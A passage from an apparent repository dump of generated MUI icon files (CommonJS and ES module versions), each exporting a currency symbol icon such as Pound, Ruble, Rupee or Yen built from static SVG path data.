    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 21c1.93 0 3.62-1.17 4-3l-1.75-.88C16 18.21 15.33 19 14 19H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H14v-2H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.5 0 2.79.95 3.28 2.28L16.63 6c-.8-2.05-2.79-3.5-5.13-3.5C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H6v2h2.47c.08.31.13.64.13 1 0 2.7-2.6 4-2.6 4v2z\"\n}), 'CurrencyPound');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPoundOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 21c1.93 0 3.62-1.17 4-3l-1.75-.88C16 18.21 15.33 19 14 19H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H14v-2H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.5 0 2.79.95 3.28 2.28L16.63 6c-.8-2.05-2.79-3.5-5.13-3.5C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H6v2h2.47c.08.31.13.64.13 1 0 2.7-2.6 4-2.6 4v2z\"\n}), 'CurrencyPoundOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPoundOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 21c1.93 0 3.62-1.17 4-3l-1.75-.88C16 18.21 15.33 19 14 19H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H14v-2H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.5 0 2.79.95 3.28 2.28L16.63 6c-.8-2.05-2.79-3.5-5.13-3.5C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H6v2h2.47c.08.31.13.64.13 1 0 2.7-2.6 4-2.6 4v2z\"\n}), 'CurrencyPoundOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPoundRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.21 17.61c-.47-.24-1.03-.05-1.31.4-.36.6-.97.99-1.9.99H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H13c.55 0 1-.45 1-1s-.45-1-1-1H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.2 0 2.26.61 2.89 1.53.27.4.77.59 1.22.4.6-.25.8-.99.43-1.53-.99-1.45-2.66-2.4-4.54-2.4C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H7c-.55 0-1 .45-1 1s.45 1 1 1h1.47c.08.31.13.64.13 1 0 1.9-1.29 3.11-2.06 3.66-.34.24-.54.63-.54 1.05 0 .71.58 1.29 1.29 1.29H14c1.55 0 2.95-.76 3.63-2 .28-.51.09-1.14-.42-1.39\"\n}), 'CurrencyPoundRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPoundRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.21 17.61c-.47-.24-1.03-.05-1.31.4-.36.6-.97.99-1.9.99H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H13c.55 0 1-.45 1-1s-.45-1-1-1H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.2 0 2.26.61 2.89 1.53.27.4.77.59 1.22.4.6-.25.8-.99.43-1.53-.99-1.45-2.66-2.4-4.54-2.4C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H7c-.55 0-1 .45-1 1s.45 1 1 1h1.47c.08.31.13.64.13 1 0 1.9-1.29 3.11-2.06 3.66-.34.24-.54.63-.54 1.05 0 .71.58 1.29 1.29 1.29H14c1.55 0 2.95-.76 3.63-2 .28-.51.09-1.14-.42-1.39\"\n}), 'CurrencyPoundRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPoundSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 21c1.93 0 3.62-1.17 4-3l-1.75-.88C16 18.21 15.33 19 14 19H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H14v-2H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.5 0 2.79.95 3.28 2.28L16.63 6c-.8-2.05-2.79-3.5-5.13-3.5C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H6v2h2.47c.08.31.13.64.13 1 0 2.7-2.6 4-2.6 4v2z\"\n}), 'CurrencyPoundSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPoundSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 21c1.93 0 3.62-1.17 4-3l-1.75-.88C16 18.21 15.33 19 14 19H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H14v-2H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.5 0 2.79.95 3.28 2.28L16.63 6c-.8-2.05-2.79-3.5-5.13-3.5C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H6v2h2.47c.08.31.13.64.13 1 0 2.7-2.6 4-2.6 4v2z\"\n}), 'CurrencyPoundSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPoundTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 21c1.93 0 3.62-1.17 4-3l-1.75-.88C16 18.21 15.33 19 14 19H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H14v-2H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.5 0 2.79.95 3.28 2.28L16.63 6c-.8-2.05-2.79-3.5-5.13-3.5C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H6v2h2.47c.08.31.13.64.13 1 0 2.7-2.6 4-2.6 4v2z\"\n}), 'CurrencyPoundTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyPoundTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 21c1.93 0 3.62-1.17 4-3l-1.75-.88C16 18.21 15.33 19 14 19H9.1c.83-1 1.5-2.34 1.5-4 0-.35-.03-.69-.08-1H14v-2H9.82C9 10.42 8 9.6 8 8c0-1.93 1.57-3.5 3.5-3.5 1.5 0 2.79.95 3.28 2.28L16.63 6c-.8-2.05-2.79-3.5-5.13-3.5C8.46 2.5 6 4.96 6 8c0 1.78.79 2.9 1.49 4H6v2h2.47c.08.31.13.64.13 1 0 2.7-2.6 4-2.6 4v2z\"\n}), 'CurrencyPoundTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRuble.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 3H7v9H5v2h2v2H5v2h2v3h2v-3h4v-2H9v-2h4.5c3.04 0 5.5-2.46 5.5-5.5S16.54 3 13.5 3m0 9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRuble');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRuble.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 3H7v9H5v2h2v2H5v2h2v3h2v-3h4v-2H9v-2h4.5c3.04 0 5.5-2.46 5.5-5.5S16.54 3 13.5 3m0 9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRuble');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRubleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 3H7v9H5v2h2v2H5v2h2v3h2v-3h4v-2H9v-2h4.5c3.04 0 5.5-2.46 5.5-5.5S16.54 3 13.5 3m0 9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRubleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRubleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 3H7v9H5v2h2v2H5v2h2v3h2v-3h4v-2H9v-2h4.5c3.04 0 5.5-2.46 5.5-5.5S16.54 3 13.5 3m0 9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRubleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRubleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 21c.55 0 1-.45 1-1v-2h3c.55 0 1-.45 1-1s-.45-1-1-1H9v-2h4.5c3.22 0 5.79-2.76 5.47-6.04C18.7 5.1 16.14 3 13.26 3H8c-.55 0-1 .45-1 1v8H6c-.55 0-1 .45-1 1s.45 1 1 1h1v2H6c-.55 0-1 .45-1 1s.45 1 1 1h1v2c0 .55.45 1 1 1m5.5-9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRubleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRubleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 21c.55 0 1-.45 1-1v-2h3c.55 0 1-.45 1-1s-.45-1-1-1H9v-2h4.5c3.22 0 5.79-2.76 5.47-6.04C18.7 5.1 16.14 3 13.26 3H8c-.55 0-1 .45-1 1v8H6c-.55 0-1 .45-1 1s.45 1 1 1h1v2H6c-.55 0-1 .45-1 1s.45 1 1 1h1v2c0 .55.45 1 1 1m5.5-9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRubleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRubleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 3H7v9H5v2h2v2H5v2h2v3h2v-3h4v-2H9v-2h4.5c3.04 0 5.5-2.46 5.5-5.5S16.54 3 13.5 3m0 9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRubleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRubleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 3H7v9H5v2h2v2H5v2h2v3h2v-3h4v-2H9v-2h4.5c3.04 0 5.5-2.46 5.5-5.5S16.54 3 13.5 3m0 9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRubleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRubleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 3H7v9H5v2h2v2H5v2h2v3h2v-3h4v-2H9v-2h4.5c3.04 0 5.5-2.46 5.5-5.5S16.54 3 13.5 3m0 9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRubleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRubleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 3H7v9H5v2h2v2H5v2h2v3h2v-3h4v-2H9v-2h4.5c3.04 0 5.5-2.46 5.5-5.5S16.54 3 13.5 3m0 9H9V5h4.5C15.43 5 17 6.57 17 8.5S15.43 12 13.5 12\"\n}), 'CurrencyRubleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupee.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.66 7c-.56-1.18-1.76-2-3.16-2H6V3h12v2h-3.26c.48.58.84 1.26 1.05 2H18v2h-2.02c-.25 2.8-2.61 5-5.48 5h-.73l6.73 7h-2.77L7 14v-2h3.5c1.76 0 3.22-1.3 3.46-3H6V7z\"\n}), 'CurrencyRupee');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupee.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.66 7c-.56-1.18-1.76-2-3.16-2H6V3h12v2h-3.26c.48.58.84 1.26 1.05 2H18v2h-2.02c-.25 2.8-2.61 5-5.48 5h-.73l6.73 7h-2.77L7 14v-2h3.5c1.76 0 3.22-1.3 3.46-3H6V7z\"\n}), 'CurrencyRupee');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupeeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.66 7c-.56-1.18-1.76-2-3.16-2H6V3h12v2h-3.26c.48.58.84 1.26 1.05 2H18v2h-2.02c-.25 2.8-2.61 5-5.48 5h-.73l6.73 7h-2.77L7 14v-2h3.5c1.76 0 3.22-1.3 3.46-3H6V7z\"\n}), 'CurrencyRupeeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupeeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.66 7c-.56-1.18-1.76-2-3.16-2H6V3h12v2h-3.26c.48.58.84 1.26 1.05 2H18v2h-2.02c-.25 2.8-2.61 5-5.48 5h-.73l6.73 7h-2.77L7 14v-2h3.5c1.76 0 3.22-1.3 3.46-3H6V7z\"\n}), 'CurrencyRupeeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupeeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 14h-.73l5.1 5.31c.61.64.16 1.69-.72 1.69-.27 0-.53-.11-.72-.31L7.4 14.41c-.26-.26-.4-.62-.4-.98 0-.79.64-1.43 1.43-1.43h2.07c1.76 0 3.22-1.3 3.46-3H7c-.55 0-1-.45-1-1s.45-1 1-1h6.66c-.56-1.18-1.76-2-3.16-2H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1h-2.26c.48.58.84 1.26 1.05 2H17c.55 0 1 .45 1 1s-.45 1-1 1h-1.02c-.26 2.8-2.62 5-5.48 5\"\n}), 'CurrencyRupeeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupeeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 14h-.73l5.1 5.31c.61.64.16 1.69-.72 1.69-.27 0-.53-.11-.72-.31L7.4 14.41c-.26-.26-.4-.62-.4-.98 0-.79.64-1.43 1.43-1.43h2.07c1.76 0 3.22-1.3 3.46-3H7c-.55 0-1-.45-1-1s.45-1 1-1h6.66c-.56-1.18-1.76-2-3.16-2H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1h-2.26c.48.58.84 1.26 1.05 2H17c.55 0 1 .45 1 1s-.45 1-1 1h-1.02c-.26 2.8-2.62 5-5.48 5\"\n}), 'CurrencyRupeeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupeeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.66 7c-.56-1.18-1.76-2-3.16-2H6V3h12v2h-3.26c.48.58.84 1.26 1.05 2H18v2h-2.02c-.25 2.8-2.61 5-5.48 5h-.73l6.73 7h-2.77L7 14v-2h3.5c1.76 0 3.22-1.3 3.46-3H6V7z\"\n}), 'CurrencyRupeeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupeeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.66 7c-.56-1.18-1.76-2-3.16-2H6V3h12v2h-3.26c.48.58.84 1.26 1.05 2H18v2h-2.02c-.25 2.8-2.61 5-5.48 5h-.73l6.73 7h-2.77L7 14v-2h3.5c1.76 0 3.22-1.3 3.46-3H6V7z\"\n}), 'CurrencyRupeeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupeeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.66 7c-.56-1.18-1.76-2-3.16-2H6V3h12v2h-3.26c.48.58.84 1.26 1.05 2H18v2h-2.02c-.25 2.8-2.61 5-5.48 5h-.73l6.73 7h-2.77L7 14v-2h3.5c1.76 0 3.22-1.3 3.46-3H6V7z\"\n}), 'CurrencyRupeeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyRupeeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.66 7c-.56-1.18-1.76-2-3.16-2H6V3h12v2h-3.26c.48.58.84 1.26 1.05 2H18v2h-2.02c-.25 2.8-2.61 5-5.48 5h-.73l6.73 7h-2.77L7 14v-2h3.5c1.76 0 3.22-1.3 3.46-3H6V7z\"\n}), 'CurrencyRupeeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.92 11H18v2h-5v2h5v2h-5v4h-2v-4H6v-2h5v-2H6v-2h4.08L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYen');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.92 11H18v2h-5v2h5v2h-5v4h-2v-4H6v-2h5v-2H6v-2h4.08L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYen');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.92 11H18v2h-5v2h5v2h-5v4h-2v-4H6v-2h5v-2H6v-2h4.08L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.92 11H18v2h-5v2h5v2h-5v4h-2v-4H6v-2h5v-2H6v-2h4.08L5 3h2.37L12 10.29 16.63 3H19z\"\n}), 'CurrencyYenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.82 3c.34 0 .66.17.84.46L12 10.29l4.34-6.83c.18-.29.5-.46.84-.46.79 0 1.27.87.84 1.54L13.92 11H17c.55 0 1 .45 1 1s-.45 1-1 1h-4v2h4c.55 0 1 .45 1 1s-.45 1-1 1h-4v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H7c-.55 0-1-.45-1-1s.45-1 1-1h4v-2H7c-.55 0-1-.45-1-1s.45-1 1-1h3.08l-4.1-6.46C5.55 3.87 6.03 3 6.82 3\"\n}), 'CurrencyYenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.82 3c.34 0 .66.17.84.46L12 10.29l4.34-6.83c.18-.29.5-.46.84-.46.79 0 1.27.87.84 1.54L13.92 11H17c.55 0 1 .45 1 1s-.45 1-1 1h-4v2h4c.55 0 1 .45 1 1s-.45 1-1 1h-4v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H7c-.55 0-1-.45-1-1s.45-1 1-1h4v-2H7c-.55 0-1-.45-1-1s.45-1 1-1h3.08l-4.1-6.46C5.55 3.87 6.03 3 6.82 3\"\n}), 'CurrencyYenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CurrencyYenSharp.js",
